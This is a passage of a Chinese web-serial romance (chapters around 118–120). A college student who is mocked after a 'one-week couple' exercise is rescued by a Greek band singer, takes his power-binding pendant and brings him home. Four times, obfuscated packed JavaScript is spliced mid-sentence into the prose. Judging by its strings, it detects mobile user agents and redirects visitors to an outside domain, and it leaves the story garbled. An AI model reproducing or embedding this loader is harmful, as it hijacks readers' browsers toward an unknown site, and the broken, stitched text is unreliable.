难道昨天她在裴佑哲家里听到的那些话全都是幻觉? 不,这倒也不至于……她虽然精神说不上有多稳定,但还不至于错乱到那个份上。 庄森芽回想起,昨天夜里,石玥诗回宿舍之后,她的心情似乎不错,嘴里还哼着小曲,或许就是因为和裴佑哲确定了关系她才那么开心。 也就是说,从自己离开裴佑哲的家,到夜晚这段时间,他和石玥诗之间发生了什么吗? 可是这也太突然了…… 尽管感到有些突兀,但其实这两个人修成正果,也是庄森芽自己一直期待的事情。 刨除那些困惑,她不由得真心诚意地为这两人感到高兴。 这样,她是不是也能从裴佑哲的纠缠和与舍友的芥蒂之中解脱出来了? 如果能,这当真是好事一件。 骚乱过后,有些学生的注意力从讲台上转移了,零星一两个人回过头来,在角落寻寻觅觅。 那些人是在看庄森芽,他们显然都在好奇,她身为‘一周情侣’中和裴佑哲组队的人,此时会作何感想,脸上又会是怎样的表情。 庄森芽没觉得怎样,然而那些视线却让她觉得有些不自在。 学生们在打量着她,目光毫不避讳,仿佛非要在她的脸上看到一丝难过的神情才算罢休。 “最开始我就觉得有点奇怪了,主席怎么可能和一个平平无奇的大一新生组队呢……”有人小声议论着。 “是吧,我也觉得很难理解,按理来说主席那么忙,一般是不会亲自参加这种考核的。” “不会是她强迫主席这么做的吧。” “她哪来的实力强迫……” “□□吧。” “我倒更觉得是以死相逼。” “这么狗血吗?” 有人嗤笑,“我觉得有可能。不然怎么解释‘一周情侣’结束之后,主席立刻和文艺部副部长公开交往了?肯定是为了让某些人死心。” 越来越多不善的目光投来,庄森芽隐约能听清一些字句,那让她感到不快。 但是碍于这么人都在这里,她不好发作。但凡换个场合,她是肯定要和那些人争执两句的。 然而,隐忍却换不回风平浪静。 学生们似乎不愿放过她,还在明目张胆地议论着,仿佛因为裴佑哲将她弃之不顾,这些下面的人也开始跟风,气焰愈发嚣张,觉得得罪她不会有什么事,更是不在乎话语会不会被听见。 “真看不出来,这白毛女虽然长着一张挺清甜的脸,但表情一直那么臭,我还以为她高冷,到头来却是个死缠烂打型的。” “主席和她在一起这一周,真是委屈主席了。” “是啊,看看文艺部副部长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他模样难得气愤,话语也口无遮拦,一下就镇住了前排的新生们,那些高年级的学哥学姐也没见过费洛这个样子,纷纷都愣住了。 庄森芽看了自己的好兄弟一眼,有点意外,但更多是对对方为自己出头而感到感激。 与此同时,坐在她旁边的汪素文伸过来一只小巧的手,包住了她的手背,安慰地道:“别听那些人说的……” 看着身边这两个人,庄森芽不禁有些感慨,心里划过一阵暖流。她有值得信赖的朋友和舍友,已经和高中那时候不再一样了。 前方的讲台上,学生会主席自然也被这场骚乱打断了,他盯着外联部的形象大使,一开始表情是有些严肃的,就仿佛对他的话语心有不满,可转瞬之间,那些阴霾从他的脸上一扫而空,他十分体谅地说着,“好像制造了一些误解,费洛,谢谢你提醒我。” 费洛盯着讲台前方的主席,模样有些僵硬,他审视着自己这个朋友,目光却有点不对劲,那是胆怯、不信任的混合之情。 费洛什么时候用这样的目光看过裴佑哲?从来没有。 118. 救场 气氛十分古怪,坐在一旁的庄森芽完全不理解这是怎么一回事,这状态怎么好像费洛和裴佑哲反目成仇了似的,实在令人费解。 学生会主席面向学生群体,用宽和的声音说道:“差点忘记对我自身这一组的‘一周情侣’进行总结。我不得不说,森芽……她在这段时间表现得很好,为了赶上我的脚步,付出了很多。虽然‘一周情侣’结束之后,我们并没有继续交往,但希望大家不要针对这件事情嚼舌根,我们之间并没有发生什么矛盾。” 他虽然做出了这样一番声明,但是下面的学生看起来似乎都不太相信,只不过碍于有一个费洛在后面虎视眈眈地盯着他们,那些多嘴的学生都纷纷噤了声。 虽然事件平息了下去,但庄森芽觉得没有那么简单。 这些人肯定已经认定了先前的想法:是她倒追裴佑哲,逼迫他和她共同完成这个‘一周情侣’的考核,裴佑哲不堪其扰,所以结束之后立刻和石玥诗宣布是一对。 如果庄森芽不是当事人,而是一个旁观者的话,也必然会这么认为。 因为学生会主席会和一个很普通的新生组队……这就很不符合常理。 她很清楚这件不合常理的事情的来龙去脉,但是又难以向众人言明,只因这太过复杂,还掺进去了一些不能讲的秘密。 在有些怪异的氛围中,这次总结大会结束了。 人们纷纷离开会议室,而庄森芽没有起身,她想等人们都走了再离开。 先前义愤填膺的费洛已经坐了下来,和汪素文一左一右包围在庄森芽的身侧,像两大护法一样,不让任何心怀歹意的人接近。 “太过分了,都太过分了。”费洛摇着头说,没具体说是谁,似乎对所有人都很失望。 等人走得差不多了,他们才起身,往门口的方向快步而去。 这个时候,裴佑哲和石玥诗还没有离开,他们在台上站着,宛若一对般配的鸳鸯,在悄声细语说着些什么。 经过他们身边的时候,庄森芽看也没看,一心都是赶快离开这个是非之地。 她听到门外响起阵阵的议论声,以为是那些走得慢的学生还在讨论今天总结大会上的内容,顿时感觉到有些羞愤,低着头就往门外冲,想要快速离开这栋大楼。 然而没走出去两步,一个人影拦在了她的身前,将她拦在了大门口。 原以为是特意留下来想要讥讽她两句的学生,庄森芽猛然抬起头来,怒目而视。 然而,映入眼帘的面庞却让她有些呆愣。 这个人盯着她,金棕色的眼睛微垂,带着令人怀念的笑意,一件浅褐色的风衣裹住了他的全身,宛如一个风尘仆仆赶来的贵宾,凌乱中带着庄重,随性浪漫是他的底色。 他张口,声音带着提琴般的磁性,“这一周角色扮演的游戏玩够了吗?” 他的出现吸引了不少目光,有学生滞留在走廊之中,盯着这高挑有型的异国男人,好奇地打量着,想知道他是为谁而来。 庄森芽不知道诺特斯怎么会突然出现在这里,更不知道他是来做什么的,她盯着他的样子仿若是受惊的雏鸟,眼睛睁得圆圆的,身体连动都不会动了。 诺特斯的笑意更深,众目睽睽之下,他肆意挥霍着自己烂漫的音色,“也该回到我的身边来了吧?不然我要因为嫉妒而发疯了,我的宝贝。” 庄森芽张了张口,却是什么话也说不出。 她感觉自己好像被对方那双眼睛给蛊惑了,被他的注视给投了毒,毒哑了嗓子,半个字也蹦不出来。 周围又响起了交流声,不过话题已经翻篇,不再是先前在总结会上叽叽喳喳议论的那些内容了。 “那个人……不是前一阵子来我们学校演出的希腊乐队主唱吗?” 有人声音激动,“是诺特斯……!啊啊,能上去要签名吗?” “这人离近了看……帅得好有个性。” “你们听没听到刚才他叫庄森芽什么?” “‘宝贝’,我听着是。” “这两个人是什么关系啊?” “话说,你不觉得他和庄森芽画的漫画里的那个反派有点像吗……好像连名字都一样吧?” “欸,不光是主人公,连反派也是现实人物原型吗。” 眼前,诺特斯朝她伸出了一只手,庄森芽盯着它,只觉得脑海里一片空白,鬼使神差就搭了上去。 下一刻,她被人轻轻一拽,栽进了一个宽阔的怀里。 当着所有人的面,诺特斯亲密地搂着她的肩,头低垂着,像是情人一般在她的耳旁细语。 “刚回来就看到你好像陷进了什么麻烦事,”他用只有两人才能听见的音量说,“这么处理没问题吧?” 男人的话语落进耳中,庄森芽的脑袋可算是清晰了一些。 听起来,诺特斯是来帮她解围的。 可是一直以来,她都小心翼翼避免让任何人知道她和诺特斯之间有所往来,唯恐招来事端,然而,当下这种行为无疑是打破了苦苦维系的陌路人表象。 现在推开他,装做不认识,似乎已经来不及了,而且刚才也是她自己把手递上去的。 既然已经这样,庄森芽干脆心一横,将计就计。 能解决一个问题是一个问题,当下的问题,是学生们认定她在倒追裴佑哲,觉得她没脸没皮。 原本百口莫辩,然而现在,一个最好的为自己昭雪的机会来了。 她伸出一只手,主动和诺特斯的手牵在一起,眼睛亮亮的,用正常的音量对他说:“我之前不是和你说过了,这次考核是不管有没有对象都要参加的,我也没有办法,这是硬性要求。” 她声音足够大,十分确信走廊里的人,包括会议室里的人都听见了。 议论的风向瞬息万变,旁观者开始感到困惑。 先前那些针对庄森芽的不善的推论霎时开始立不住脚,看她现在这样子,分明是心有所属,而且看起来情投意合,那这次的‘一周情侣’考核还会是她纠缠不休的倒追求来的吗? 诺特斯继续尽职尽责扮演一个吃醋的恋人,眯起的眼睛带有一丝威胁的信号,“你知道我这一周是怎么过来的吗,打算怎么补偿我?” “我——” 还没等说什么,会议室里传来一声巨响。 诺特斯的目光瞬间化为利刃,朝声响的方向刺去。 庄森芽也顺着望过去,看到讲台上的人时,她心里不由得咯噔一声。 大多是被吓的。 裴佑哲站在原先的位置上,讲台下有一把不知因何而跌落的金属扶手椅。 石玥诗也站在台下,抬头看着他,眼里是不知所措的神色。 学生会主席冷着脸盯着门口的两个人,面上乍一看没什么表情,可目光却很是骇人,里面一点光亮都没有,阴黑得仿佛只剩恨意,要将眼前的一切都焚毁殆尽,周身也散发出一股浓烈的不善气息。 她只看到他这副模样一瞬间,下一刻,诺特斯扶着她的下颚,轻轻将头颅转了过来,让她的世界里只充斥着他那张不惧任何困境的笑脸。 “走吧?”他提议。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765787|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>庄森芽顿了顿,点点头,于是和他两人穿过走廊,往电梯的方向走。 这一路上,滞留的学生们都在行注目礼,就仿眼前有一条红毯,他们则是扛着摄影师的记者,或者是闻讯而来的观众,主角是两个目不斜视走远的明星。 进了电梯,围观的人并没有跟上来,连一直跟着庄森芽的费洛和汪素文都十分有眼力价地停在半路。 闭合的钢门制造了一个密闭的环境,诺特斯搭在她肩头的手并没有拿走,电梯的镜子倒映出两人的背影,他们一时沉默。 庄森芽想说些什么,可是电梯门很快就开了,人们进进出出,她只好无言地与诺特斯并排离去。 走出活动大楼的时候,诺特斯依然搂着她,一点松开的意图都没有。 路人好奇地盯着他们,有些人似乎认出了诺特斯,打量着,小声议论着什么,这让庄森芽又开始惶恐起来。 她想推开他,可是诺特斯偏不让她这么做,她越是在他的怀里挣扎,他就越是把她搂得更紧。 “你别得寸进尺……”她低声警告。 “做戏就要做全套吗。”诺特斯笑眯眯的,理直气壮,“得让更多的人目睹我们如胶似漆,不然权力在学校里只手遮天的学生会主席三两句话就能把刚才的事情掩盖住,你又要变成没有主动权的可怜虫了。” 听他这么说,庄森芽的挣扎不由得弱了下去。 她也不是不懂这个道理。‘一周情侣’结束之后,裴佑哲落井下石,反手和石玥诗处成情侣,把她置于一个风口浪尖的位置。于她而言最好的对抗手段,就是像现在这样,大张旗鼓向众人展示,自己其实同样早已心有所属,和裴佑哲组队考核只是出于无奈,她也很勉强。 可诺特斯这个人选……于理,其实并不太合适,而于情的话—— 她想起他们上一次分别时的最后一幕。 诺特斯给她讲了一堆有关于自己的故事,丢下一句她到现在都想不明白的话,然后就消失了,徒留她一个人因为那句话而纠结不已。 想到这里,庄森芽抬头打量对方,刚巧诺特斯的目光也坠落下来,四目相接,她竟然觉得有点难为情,第一个移开了目光。 ……太逊了。 她自我点评,认为这样很没骨气,于是又瞪回去。 “你这些天都去哪了?”她问,“招呼不打一声就消失。” 好吧,还是很没骨气,没直接质问他有关于那句话的事情,顾左右而言他,可谓胆小至极。 两人走在校园内的柏油路上,往湖泊的方向前进,但这个目的地只是恰巧,他们也没有什么特定的目标,只是哪里人少就往哪里去。 听到她刚才的问题,诺特斯望向前方,目光有些悠远,“记得我和你说过,伊莎多拉太太家有一条老伯恩山吗?” 她有印象,似乎是诺特斯在希腊那边结交的人事物。 “记得。” “它生的小崽最近走丢了一只,老伯恩山又有点抑郁,伊莎多拉太太托我去找回那只走丢的幼崽,而我这几天都在忙这件事情。” 原来是因为狗狗。 是因为狗狗的话那就没有办法了,她完全埋怨不起来。 “下次我会汇报的。”他对她承诺说,眼中尽是诚恳。 庄森芽的心情有点复杂,还有些痒痒的,就像有什么在破土而出。 没想到,诺特斯居然会因为这样的事情大费周章,特意回希腊一趟。 这么看,他对小动物倒是挺有爱心的。 怎么对人就没有多少? 119. 给个说法吧 两人来到湖泊旁边,站在木做的栈道上,望着平静的湖面。 “刚才,谢谢你替我解围。”庄森芽纠结了半天,还是把这句感谢说出了口,她不想变得和身旁的人一样没心没肺。 “不用客气。”诺特斯声音听起来很正经,也没有调侃的意味。 这简短的对话过后,两人又陷入了沉默。 从刚才开始,男人的出现将一些回忆也一并唤醒,而那些回忆阻塞了她的脑海,因为它们一直都很令人困扰,就如同诺特斯本人一样,困扰又难解。 她不知道这个人哪些话是在说谎,哪些话又是真的。 起初,只以为是受肉|体的吸引,是对欢愉的渴求,所以才有了三番五次的冒犯,可是经历了上次的分别,这些想法又有点站不住脚了。 ‘就这么被你杀死也没关系’……男人当时的大意是这样。 这句话与他的以往所有的行径都不一致,甚至可以说矛盾至极。 诺特斯一直都是为了让自己活下去而在行动,无所不用其极,可最后,偏偏又说死掉也没关系,这不是前后不一吗? 所以说她根本弄不懂这个人,猜不透他的心思。 “你后面打算怎么办?”诺特斯低头问她,手臂依然揽着肩膀,似乎如果另一个人不提的话,他就当做没事人一样,不打算主动松开,“刚才我们离开之前,那个裴佑哲的表情可谓是相当的可怕,我觉得他不会轻易放过你。” 听到身边的人这么问,庄森芽的思绪短暂地转移到有关学生会主席的事情上。 说实在,她不理解裴佑哲刚才那种阴沉的愤怒,就仿佛看到她和诺特斯斯厮混在一起而感到非常不爽一样。 就好像她应该可怜巴巴地看着学生会主席和文艺部副部长你侬我侬,最好失意落魄,一蹶不振,而不是和一个不知道从哪冒出来的男人亲密无间地走了。 只允许他和石玥诗当众秀恩爱,而不允许她以其人之道还治其人之身吗? 裴佑哲非要看她失魂落魄,被众人嘲笑配不上他才好? 虽然她不愿意这样揣度对方,可是接二连三的事情发生之后,她不得不重新审视这个相识已久但接触不多的学长。 总觉得他报复心有点强。 一周情侣的考核,是为了报复她海岛旅行夜晚那天对他说的那些过分的话;而这次反手和石玥诗公开关系,隐约也有种报复她拒绝了他的交往请求的嫌疑——她甚至不能称那天在他家客厅的事情为告白,因为从头到尾裴佑哲都没有说出过一个‘喜欢’。 他到底喜不喜欢她,这种事情庄森芽已经倦于去想了。 不管喜不喜欢,她直觉认定裴佑哲这种人是自己不能招惹的。 有钱有权有地位,而且在她所在的校园环境中,又是呼风唤雨的焦点人物,也是学生们拥戴的对象。 这样一个人,她是招惹不起的。 而且,就像刚才说的,他不是没有报复心。庄森芽已经体验过了被他折磨的感受,孤立无援,学分的软肋又被轻松地掌握在对方的手中,只可谓任人拿捏。 想到这里,她决定暂时先和他保持一段距离。 斗不过,还跑不掉吗? 等什么时候裴佑哲能把她这个人给淡忘了,她再出现在他的视野里吧。 “我打算回家住一阵子。”她说,“学校这两天感觉是有点待不下去了……” “学业怎么办?” “我打算让专业同学把课件资料发给我,先自学一下。” “或者我可以帮你个小忙,”诺特斯在此刻俯下身来,凑到她耳旁,“如果你想让这个裴佑哲消失的话,我也唔……” 听到一半,庄森言一个机灵,立刻捂住了诺特斯的嘴,瞪大眼睛盯着他,“你别给我出什么馊主意!” 他抓住她纤细的手腕,拿开了它,“他消失了,你不就没有困扰了吗。” “话是这么说但你不能真的做什么伤天害理的事情,这是违法的!” “我保证不留痕迹。” “不、行!”她严辞拒绝,指尖戳着对方的胸脯,“你不是想留在这个世界上吗,那就学着遵守这里的规则。你就是不能随随便便让一个人‘消失’,不然早晚有一天会被绳之以法!” 诺特斯盯着她,笑意更深了一些,“听你这么说,你已经在为之后的事情考虑了,是愿意让我留下来的意思?” 被他这么一说,庄森芽一时语结,“我、我可没那么——” 突然,诺特斯拥紧了她,两人之间的距离瞬间拉得很近,胸膛贴着胸膛,心跳声毫无阻隔地传过来。 盯着近在咫尺的那双眼睛,庄森芽屏住了呼吸。 “你这样让我很忐忑。”诺特斯说,他伸出一只手来,将她一缕不太乖顺的发丝别在耳后。 庄森芽略感不解。 他忐忑?他有什么好忐忑的,他看起来一点忐忑的样子都没有。 永远都是游刃有余的,商议生死大事的时候是这样,讨论留在哪个世界的时候也是这样,仿佛什么都在他的掌握之中。 “我们离得这么近,可是我却不知道你的心里在想什么。”他注视着她,眼眸下垂,像一滴将要落下的琥珀。 “这话应该由我来说吧……”她反驳。 “那我们不要互相再猜了,好不好?” 他话语声放得很轻,听起来像是在劝诱。 庄森芽发现自己受不了他这样的声音,一次也受不了。每次他用上这种声线的时候,事情好像总是会脱离控制,变得一发不可收拾。 湖畔边上,来往的学生走在树荫下的羊肠小路上,偶尔有人看到栈桥上的他们,或许只当是情深意浓的情侣,撇过一眼后便快步离去。 “在听到我对你说的那些话之后,你怎么想?”诺特斯问她,平铺直叙,“是要我活着,还是要我死;是要我留下,还是要我离开。” 没想到他就这么直接地问了出来,而且和以往不同,没有强硬地说:“我要活下去,我要留在这里。”而是在征求她的意见。 庄森芽轻轻吸了口气,却发现自己说不出话来。 这不是简简单单回答两个问题就能解决的,背后牵扯出来的是更多的疑问。 要他死就真的能死吗,要他活他还会不会为非作歹。 他留在这个世界会不会有什么隐患,他的能力真的像之前说的那样,离开石剑醇就再也发挥不出来了吗? 不过这么看,归根究底,其实问题只有一个。 那就是:要怎么证明,诺特斯是他自己口中那个听起来十分纯良的人——从友人手中接管了候鸟山工厂,为了维护星球的运转而兢兢业业,手下那些被他夺去性命的人并非无辜,想要留在这个世界的原因无非只是因为喜欢这里的环境……又或者是因为其他无害的理由。 “……我现在……给不了你答案。”她张口对他说,“介于你曾经劣迹斑斑,而未来又总是那么不确定的,我没有足够的信心,能够给你想要的回答。” 她说得有点空泛,但她觉得诺特斯理解她的意思。 有一些话他们之间没有明说,但是两个人应该都懂。 有一些东西的确是存在的,但是还不够成为行动的理由,不够铸成坚实的山脉,还需要更多的土来夯实,还需要更多的水来滋养,更多的时间来灌溉。 以及更多的风来证明它的坚固,证明他所言非虚,不会被风一吹就散。 男人笑了笑,怀抱松开一些,伸手摸了摸她的头,“简直像鼹鼠一样胆小。” 庄森芽移开视线,嘴里嘟囔着,“真的想留下来的话,就把你的诚意证明给我看。” 闻言,诺特斯伸手向自己的后颈,将一条吊坠解了下来,绿盈盈的石头被握在手心,他把它递交给庄森芽。 这代表了什么不言而喻,如果诺特斯说的都是真的,那么,离开了这块石剑醇,他的能力就再也发挥不出来了。 然而,她刚要伸手去拿,诺特斯却把手抽了回去。 “先说好,我把它交给你之后,你不许再用铁铲砸我的脑袋,也不许扇我巴掌了。” 他似乎对她几次动手心有余悸,在这关键的节点开始翻起旧账来。 庄森芽瘪瘪嘴,总觉得自己被对方说得像是个暴力狂一样,她哪有那么过分。 “我保证不对你动手。”她说,“只要你不做过分的事。” 得到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774256|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保证,诺特斯这才把那个挂坠放进她的手里。 “距离大约两三米,我都能感知到它。”诺特斯陈述着自己的‘使用说明’,“你要是想实践的话,就把它放在你的宿舍或者什么地方,藏起来,让它离我远一点,看看我还能不能发挥实力。” 庄森芽把那个绿莹莹的小物件揣起来,脑袋里已经开始转动着,思考着怎么验证,“你接下来一段时间还有什么事吗?” “很闲。” “正好我也很闲。”虽然今天是周一,但是她已经决定这一周都不再出现在校园了,四舍五入相当于自己给自己放了个假,“距离漫画完结差不多还有一个月,这一个月,看你的表现。” 他笑起来,接受挑战,却是莫名其妙抓起她的手,亲了一下手背,“遵命。” 耳尖有点泛热,庄森芽抽回了自己的手。 都是哪学来的这些花里胡哨的礼仪,表面功夫一套又一套。 当下,太阳正挂在天空的斜上方,懒洋洋地照射着大地,有些怠慢,导致地面上冷飕飕的。 庄森芽回自己的宿舍收拾东西,诺特斯就在楼下等她。 她把自己的手机提示关了,又把所有的群消息全部设置成免打扰,包括一些特定的人,比如裴佑哲之类的,也都单独开了免打扰。 她要好好休息一阵,谁也别想找到她。 拿出一个巨大的登山包,往里面装上笔记本电脑,没吃完的零食,偏爱的洗漱和生活用品等等,她背着它像是要去旅行。 来到宿舍楼下的时候,发现诺特斯又被围观了。 他不是普世定义下的那种正统帅哥,人长得有点邪气,肤色也少见,搭在一起稍有不慎就会是灾难,可他的脸却巧妙地将这些元素全部融合在了一起,十分抓眼,多盯着看一阵就会移不开视线。 今天的他手里没有尤克里里,只是坐在光秃秃的花坛边上,就有两女一男的组合上前搭话。 女生掏出手机似乎是想要交换联系方式,诺特斯耸了耸肩,不知道回答了些什么,始终没有把自己的掏出来。 对方似乎不打算就这么放弃,还在纠缠着和他说话。 庄森芽扛着包裹来到他面前时,诺特斯恰好站起来,边和那女生说着话,边自然而然地从她肩上把那登山包卸了下来,轻松地单肩背在自己身后。 “失陪了。”他说着,跨起庄森芽的手臂就带着她离开。 庄森芽被他带得一踉跄,回头朝那似乎心有不甘的女生看,又满腹心事地盯着诺特斯,“你下次要么还是带着墨镜和鸭舌帽再出现在校园吧。” 他目光坠下来,笑问道:“吃醋了?” “吃什么醋,我是觉得你这样太惹眼了,好歹也是个乐队主唱,是公众人物,哪有这么光明正大就暴露在大众视野之下的。” 诺特斯模样倒显得有些惊讶,“我总不能一年三百六十五天都低调行事吧,我也是人,要生活的,在希腊的时候随随便便出门都没有什么问题,怎么在这里就不行。” “文化氛围不一样,好吗,在这里明星就是用来捧着的。” “听着真不错,那我更不可能戴帽子戴墨镜了。” “你……!”她气急,吹鼻子瞪眼,推搡了一下他的肩膀。 “诶,说好了不许动手打人。”他抓住她的手腕。 “我还什么都没做呢,你别污蔑我。”她从他的手中挣脱。 两人小打小闹着来到校园门口,庄森芽要坐公共交通回家,诺特斯说不想折腾,要打车。 于是她两手一插说那你出钱,我穷。 诺特斯没有表示异议,十分熟练地叫来了一辆网约车。 她上一次离开校门口坐的还是裴佑哲的豪车,网约车和它一比不知道差了几个档次,可是她却坐得舒适,整个人都很轻松,不用担心衣着配不配得上,也不用顾及自己的言行会不会惹身边的人不高兴。 诺特斯怎么样她才不管呢,不如说她喜欢惹他不快,乐于见他气急败坏的模样,虽然这样的情况几乎没发生过。 有司机在场,两人在车上也不能聊什么太敏感的内容,但也安静不下来,聊天气聊景色聊建筑,时不时呲对方一句,时间过得很快。 120. 谁养谁 轿车来到了公寓楼下,一黑一白两个人影钻进了单元门中。 诺特斯还背着庄森芽那个鼓鼓的登山包,庄森芽说他无事献殷勤,诺特斯说怕这么重的东西把她压矮了,两人的身高差距会更明显。 一路上,没有一张嘴是饶人的。 来到家门口,庄森芽打开门,房间里静悄悄的。 她让诺特斯先别进去,自己朝里面喊道:“爸!妈!” 等了一阵子,没有回音。今天是周一,可能两人都在公司忙活着。 她这才拉着诺特斯进去,钻进了自己的卧室里。 停下来之后,男人一副好笑的表情盯着她,对她说:“干嘛这么小心翼翼的,我又不是没来过,你父母也都见过我。” 庄森芽想起很久以前,在许多许多事情都还没发生的时候,诺特斯贸然闯进她的家里,吓得她以为家里人要出事。那时她火急火燎地赶回来,却发现老妈安然无恙,这俩人过家家似的正在厨房里烧菜呢。 也就是那天,她和诺特斯达成了第一个协议,答应在漫画中给他一个完满的结局——虽然后来被她毁约了。 庄森芽坐在自己的床上,双手抱胸,“你给我老老实实待在我的房间里,没有我的允许不许出门。” 接下来这一段日子她都打算在家中度过了,或许直到期末考试的时候才会回去,而她自然而然地认定诺特斯这段时间都必须跟着她。他当然要跟着她,留给他证明自己的时间已经不多了。 诺特斯轻笑了一声,把那沉甸甸的登山包放在桌子上,给自己找了把椅子坐下来,“怎么听着好像是我要被你圈养起来了。” “怎么,自尊心开始难受啦?”她嘲讽。 “不,我只是在想该点些什么菜。” 庄森芽皱眉,“点菜?” 诺特斯摆摆手,解释说:“你要养我的话,不得对我的衣食住行负责吗?” 她有点不满,“你自己解决,我只是说不允许你离开我的房间,擅自出现在客厅或者厨房之类的地方,又没说你不可以钻墙跑出去自己找吃的。” “你忘了吗,石剑醇现在在你那里呢。”他指着庄森芽的口袋,“我要是现在从窗户翻出去,不过几秒就要变成地上的一滩肉泥了。” “……”对哦,她差点把这茬忘了。 因为打从一开始就没怎么相信诺特斯的能力是真的依赖于这块小小的石头,所以想当然就以为他现在还是可以自由隐身的状态。 “我饿了,今天早上一直没吃饭。”他说。 庄森芽站起身来,拉开登山包的拉链,把各种杂七杂八的物件往外掏,“自己点外卖,等一下我出去帮你拿。” “可是我现在就想吃。” “那就饿着。” “你这是虐待。”他表达不满,抓住了庄森芽手腕,像是在攀树枝一样,把她一点一点往自己的怀里带,“要是吃不饱,我就只能吃人了。” 他动作明明看起来没有很用力,就像是在抚树琴一样,然而庄森芽却被他拽得连连踉跄。 眼看着就要栽进对方怀里,她一下子撑住了男人的肩,大声说道:“我知道了……!冰箱里应该有点吃的,我去帮你拿总行了吧,松开我。” 诺特斯的动作一顿,似乎是在食物和拥抱之间纠结了一下,紧接着,他一使力,把人带进自己怀里,紧紧抱了一下,鼻翼贴在颈侧,轻轻嗅闻着身上的气息,没等人反应过来就松开了,模样心满意足,“好的,我吃什么都行。” 这属于既要又要的典型,拥抱和食物一个不少。 庄森芽站起来,回身就想敲打他的脑袋,但想起来承诺了不再动手,于是又忍住了。 平心静气,平心静气……庄森芽不断在心里给自己下答暗示。 她哪里是那么暴力的人?绝对不是。 就当养了条喜欢往人身上扑的狗,当下是要去冰箱里给他拿狗粮,这是一种施舍的行为,她以理应感受到掌控的喜悦才对。 这么想着,她离开卧室,来到厨房,打开冰箱。 里面空空如也,只有几颗鸡蛋,以及一些零零散散的生菜。 “……” 怎么能这么干净啊?! 像是被强盗洗劫了一样…… 又去翻储物柜,发现余粮少得可怜,只有没煮熟的大米,小鸡才能生吃的黄米,还有一些面粉之类的,除此之外一点即食的食物都没有。 虽然她知道自己的家庭状况不怎么好,但也不至于落魄到这个份上吧……? 只是想在冰箱里找到一些面包或者是饮料之类的,可是居然连点渣都没找着。 有点郁郁寡欢地关上冰箱,两手空空回到自己的房间。 诺特斯见到她,挑了挑眉,“还是打算饿着我?想看看没有能力我会不会被饿死吗?” “这个方法倒是不错,但我是不会那么做的。”她说,“你应该庆幸我不是那种丧尽天良的人。” 诺特斯摆出一副不怎么相信的模样,“说的好像曾经试图把我画残而限制我行动的人不是你一样……” 此一时彼一时,那个时候是真的不熟,没把他当活人,也没生出一些乱七八糟的情愫,但养一条狗时间长了还有感情呢,何况是一个表面总是威胁恐吓,可实际上一直在提供援助的活生生的人。 庄森芽有点心虚,目光游离,岔开话题,“冰箱里没吃的了,你还是点外卖吧。” 诺特斯沉吟一声,摩挲着自己的下巴,“外卖不知道合不合口味,不如自己做。” “事先说明,我可不会做饭。”她抱臂在前。 诺特斯笑起来,“没关系,我会。” 他站起来就要往厨房走,庄森芽赶紧拦住他,“我不是说了你不许离开房间吗?” “不去厨房,我怎么做饭呢?” “你非得——” 她话没说完,就被肚子咕噜噜的声响打断了,然而这声音却不是从一直喊饿的诺特斯肚子里发出来的,却是从庄森芽自己的胃里传来。 顿时有点脸红,想起来自己今天都没吃过饭,大清早就去参加那个什么‘一周情侣’的总结会,折腾一个上午精疲力竭,身体果不其然发出抗议了。 诺特斯调笑着看着她,“点餐吧,我的小姐?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784406|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他伸手抱住她的胯,像拔萝卜一样轻松把人提起来,又安置在一旁,就这么‘请’她离开了门口,自己一个大跨步迈了出去。 “喂……”制止不了对方,庄森芽只好跟上去,和他一起挤进了并不大的厨房。 诺特斯熟练地打开冰箱门、翻找储物柜,试图寻找出一些可用的食材,而庄森芽就在旁边监工一样盯着,监视他的一举一动。 她把厨房门关上了,盛气凌人地说,“速战速决,我爸妈不知道什么时候会回来。” 诺特斯把一口炒锅摆在炉架上,随口问道:“那要不要给他们也做一份?” 庄森芽忍住了想要敲打对方后脑勺的想法,只是攥紧了拳头,“我说了我不会做饭,这事我爸妈比谁都清楚。你留他们的份,是巴不得让他们知道有别人在家吧。” “哎呀,”他笑了开来,伸手摸了两个鸡蛋过来,一个接一个单手在锅边打碎,将它们装在一只陶瓷碗里,“我的心思居然就这么被你看破了。” 她傲然仰起头来,“哼,你在想什么我还不知道吗。” 